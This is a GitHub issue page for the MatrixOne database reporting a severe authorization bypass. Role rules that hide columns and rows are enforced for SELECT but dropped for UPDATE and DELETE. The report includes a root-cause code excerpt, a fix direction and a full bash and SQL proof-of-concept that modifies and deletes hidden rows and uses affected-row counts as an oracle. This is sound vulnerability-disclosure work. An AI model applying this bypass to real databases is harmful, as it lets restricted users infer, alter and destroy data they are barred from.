[Bug]: UPDATE/DELETE bypass role rules: pruned columns readable in predicates and hidden rows matched

オープン
#33,255 コメント 0 件 リアクション 0 件 担当者 1 名 GitHub で見る

メンテナーはふだん 1 日以内に返信

@iamlinjunhong がすでに取り組んでいます。

2026年11月25日 から。

評価

この issue はまだ評価されていません。

説明

kind/bug severity/s-1

Environment

  • MatrixOne: workspace commit d58476485f029f076a8b42ac16262bf5c119deb5 (main)
  • OS/Arch: macOS 15.5, arm64 (Apple Silicon)
  • Deployment: single-node mo-service started from a copy of etc/launch with every port shifted by +20000 (CN frontend on 127.0.0.1:26001), data dir under the workspace
  • Clients: MySQL CLI 9.7.1 with --default-character-set=utf8mb4; admin connected as dump, restricted user as poc_u

Actual Behavior

A role rule select uid from pocdb.vault where salary < 10000 on table pocdb.vault hides the salary/note columns and every row with salary >= 10000 from the restricted user. The rule is correctly enforced for SELECT and for the read source of INSERT ... SELECT, but it is completely ignored for UPDATE and DELETE:

  1. SELECT uid FROM vault WHERE salary = 25000 -> ERROR 1054 (42S22): invalid input: column salary does not exist (column pruning works).
  2. INSERT INTO sink SELECT uid FROM vault WHERE salary = 25000 -> same ERROR 1054 (read source of DML is protected).
  3. UPDATE vault SET note = 'WIN2' WHERE salary = 25000 -> succeeds, row_count() returns 1, and the row (uid=2, salary=25000) — which the user cannot even see — is modified. The same predicate that is rejected in SELECT is accepted and evaluated against the raw base table in UPDATE.
  4. UPDATE vault SET salary = 125000 WHERE uid = 3 -> succeeds (row_count()=1): even the pruned column itself can be written through SET.
  5. DELETE FROM vault WHERE salary = 25000 -> succeeds (row_count()=1): the hidden row is deleted.
  6. row_count() (affected-rows) therefore acts as an exact oracle: UPDATE vault SET note = 'P1' WHERE salary = 25000; SELECT row_count(); returns 1 when the guess hits and 0 otherwise, letting the restricted user recover the values of the pruned salary column and probe the existence of rows hidden by the row filter.

Reproduced twice: once on the original instance and again after a clean restart of mo-service with the same data directory.

Expected Behavior

UPDATE/DELETE on a table governed by a role rule must apply the same mandatory policy to the rows they read and match: a predicate referencing a pruned column must fail with ERROR 1054 exactly as the equivalent SELECT does, and rows outside the rule's row filter must not be matched (affected-rows must stay 0 for hidden rows). INSERT ... SELECT already enforces exactly this on its read source, so UPDATE/DELETE behaving differently is an inconsistency in the same feature, not a new design.

Steps to Reproduce

Run as admin (dump) on a fresh single-node instance:

create database pocdb;
create table pocdb.vault (uid int, salary int, note varchar(20));
insert into pocdb.vault values (1, 8000,'n1'),(2, 25000,'n2'),(3, 3, 'n3');
create table pocdb.sink (uid int);
create role pocA;
grant connect on account * to pocA;
grant select, update, delete on table pocdb.vault to pocA;
grant insert on table pocdb.sink to pocA;
alter role pocA add rule 'select uid from pocdb.vault where salary < 10000' on table pocdb.vault;
create user poc_u identified by '123456' default role pocA;

Then, as poc_u (default role pocA, current database pocdb):

-- rule works for SELECT: only uid 1 and 3, only the uid column
select * from vault;                                  -- uid: 1, 3
select uid from vault where salary = 25000;           -- ERROR 1054 column salary does not exist
insert into sink select uid from vault where salary = 25000;  -- ERROR 1054 (read source protected)

-- rule silently dropped for UPDATE/DELETE
update vault set note = 'WIN2' where salary = 25000;  -- succeeds (!)
select row_count();                                   -- 1: hidden row (uid=2, salary=25000) matched
update vault set salary = 125000 where uid = 3;       -- succeeds: pruned column written via SET
delete from vault where salary = 25000;               -- succeeds: hidden row deleted
select row_count();                                   -- 1

Verify as admin that (uid=2, salary=25000) was modified/deleted although the restricted user can never see it: select * from pocdb.vault;.

Additional Information

Root cause: pkg/sql/parsers/sqlparse.go, the statement dispatch that attaches the parsed /*+ {"rewrites": ...} */ option (which carries the mandatory role rule merged by the frontend) to the statement AST:

switch s := attachStmt.(type) {
case *tree.Select: ...
case *tree.ShowColumns: ...
case *tree.ShowCreateTable: ...
case *tree.ParenSelect: ...
case *tree.Insert:      // read source only
case *tree.MultiInsert: // read source only
case *tree.CreateTable: // CTAS source
default:
    freeRewriteOption() // <-- *tree.Update and *tree.Delete land here: the policy is silently discarded
}

The comments for Insert, MultiInsert and CreateTable explicitly note that failing to propagate the option would let the statement "read the raw base table and bypass the rewrite policy", but *tree.Update and *tree.Delete are not handled at all, so their plans are built against the unrewritten base table.

Recommended fix direction: attach the rewrite option for *tree.Update / *tree.Delete so their target table references resolve through the stacked role-rule views (same treatment as INSERT ... SELECT's read source), making pruned-column predicates fail with 1054 and hidden rows unmatchable. If full DML write-side checks are intentionally out of scope, at minimum the predicate read side must be governed consistently with SELECT, and the inconsistency should not silently leak pruned-column values through affected-rows.

Related but distinct issues checked (none cover UPDATE/DELETE statement paths): #31675 (EXPLAIN ANALYZE row-count side channel), #29467 (CTAS bypass, fixed), #29133 (rename bypass, fixed), #29236 (remap hint disabled bypass, fixed), #32896 (4.2 follow-up tracker, no such item).

Full reproduction, exactly as Loom ran it
#!/bin/bash
# Minimal repro: role rules are enforced for SELECT / INSERT...SELECT read source
# but silently dropped for UPDATE/DELETE.
# Requires a single-node mo-service built from commit d58476485f, admin user dump/111.
# Adjust HOST/PORT to your instance (here: CN frontend on 26001, ports shifted +20000).
set -u
HOST=127.0.0.1
PORT=26001
ADMIN="mysql -h $HOST -P $PORT -u dump -p111 --default-character-set=utf8mb4"
USERC="mysql -h $HOST -P $PORT -u poc_u -p123456 --default-character-set=utf8mb4 pocdb"

$ADMIN -e "
drop user if exists poc_u; drop role if exists pocA; drop database if exists pocdb;
create database pocdb;
create table pocdb.vault (uid int, salary int, note varchar(20));
insert into pocdb.vault values (1, 8000,'n1'),(2, 25000,'n2'),(3, 3, 'n3');
create table pocdb.sink (uid int);
create role pocA;
grant connect on account * to pocA;
grant select, update, delete on table pocdb.vault to pocA;
grant insert on table pocdb.sink to pocA;
alter role pocA add rule 'select uid from pocdb.vault where salary < 10000' on table pocdb.vault;
create user poc_u identified by '123456' default role pocA;"

echo '=== [1] SELECT obeys rule: only uid 1,3 visible, only uid column ==='
$USERC -e "select * from vault;"
echo '=== [2] SELECT with pruned-column predicate -> expected ERROR 1054 ==='
$USERC -e "select uid from vault where salary = 25000;"
echo '=== [3] INSERT...SELECT read source with same predicate -> expected ERROR 1054 ==='
$USERC -e "insert into sink select uid from vault where salary = 25000;"
echo '=== [4] UPDATE with the SAME pruned-column predicate: BUG, succeeds, row_count()=1 ==='
$USERC -e "update vault set note = 'WIN2' where salary = 25000; select row_count();"
echo '=== [5] UPDATE SET on pruned column: BUG, succeeds ==='
$USERC -e "update vault set salary = 125000 where uid = 3; select row_count();"
echo '=== [6] admin check: hidden row uid=2 (salary=25000) was modified ==='
$ADMIN -e "select * from pocdb.vault;"
echo '=== [7] DELETE with pruned-column predicate: BUG, hidden row deleted ==='
$USERC -e "delete from vault where salary = 25000; select row_count();"
echo '=== [8] admin check: uid=2 is gone ==='
$ADMIN -e "select * from pocdb.vault;"
# cleanup
$ADMIN -e "drop user if exists poc_u; drop role if exists pocA; drop database if exists pocdb;"

Found by Loom bug hunt (module: custom-393355822b; tests: unit, white-box, end-to-end; severity: S-1, reproduced again by an independent session on the latest main)

主要言語
Go
スター
1.9k
フォーク
312
平均マージ
22時間 59分
マージ済み PR(30日)
736

環境構築

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

matrixorigin/matrixone のほかの issue

matrixorigin/matrixone の issue をすべて見る

似ている issue

Go の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。